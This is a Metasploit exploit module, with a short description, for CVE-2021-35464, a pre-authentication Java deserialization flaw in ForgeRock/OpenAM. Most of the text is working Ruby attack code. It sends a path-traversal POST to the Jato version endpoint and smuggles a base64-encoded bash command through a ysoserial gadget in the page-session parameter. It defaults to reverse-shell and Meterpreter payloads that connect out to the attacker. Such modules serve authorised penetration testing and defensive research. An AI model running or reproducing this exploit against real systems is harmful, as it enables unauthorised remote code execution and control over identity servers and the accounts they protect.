Authored by Spencer McIntyre, Michael Stepankin, bwatters-r7, jheysel-r7 | Site metasploit.com

This Metasploit module leverages a pre-authentication remote code execution vulnerability in the OpenAM identity and access management solution. The vulnerability arises from a Java deserialization flaw in OpenAM’s implementation of the Jato framework and can be triggered by a simple one-line GET or POST request to a vulnerable endpoint. Successful exploitation yields code execution on the target system as the service user. This vulnerability also affects the ForgeRock identity platform which is built on top of OpenAM and thus is susceptible to the same issue.

advisories | CVE-2021-35464

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'ForgeRock / OpenAM Jato Java Deserialization',
'Description' => %q{
This module leverages a pre-authentication remote code execution vulnerability in the OpenAM identity and
access management solution. The vulnerability arises from a Java deserialization flaw in OpenAM’s
implementation of the Jato framework and can be triggered by a simple one-line GET or POST request to a
vulnerable endpoint. Successful exploitation yields code execution on the target system as the service user.

This vulnerability also affects the ForgeRock identity platform which is built on top of OpenAM and is thus
is susceptible to the same issue.
},
'Author' => [
'Michael Stepankin', # Original Discovery and PoC
'bwatters-r7', # Msf module
'Spencer McIntyre', # All of the Help
'jheysel-r7' # Check Method
],
'References' => [
['CVE', '2021-35464'],
['URL', 'https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464'],
['URL', 'https://backstage.forgerock.com/knowledge/kb/article/a47894244']
],
'DisclosureDate' => '2021-06-29',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_python_ssl'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 1,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
Opt::RPORT(8080),
OptString.new('TARGETURI', [true, 'Base path', '/openam'])
])
end

def check
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/oauth2/..;/ccversion/Version'),
'vars_post' => {
'jato.pageSession' => Base64.urlsafe_encode64(rand_text_alphanumeric(6..13))
}
)
if res.nil?
CheckCode::Unknown("The target server didn't respond!")
elsif res.code == 302 && res.headers['Location']&.end_with?('/base/AMInvalidURL')
CheckCode::Appears
else
CheckCode::Safe
end
end

def execute_command(cmd, _opts = {})
cmd_encapsulated = "bash -c {echo,#{Rex::Text.encode_base64(cmd)}}|{base64,-d}|bash"
ysoserial_payload = Msf::Util::JavaDeserialization.ysoserial_payload('Click1', cmd_encapsulated, modified_type: 'none')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/oauth2/..;/ccversion/Version'),
'vars_post' => {
'jato.pageSession' => Base64.urlsafe_encode64("x00" + ysoserial_payload)
}
)
unless res && res.code == 302
fail_with(Failure::UnexpectedReply, "Failed to execute command: #{cmd}")
end
print_good("Successfully executed command: #{cmd}")
end

def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end
end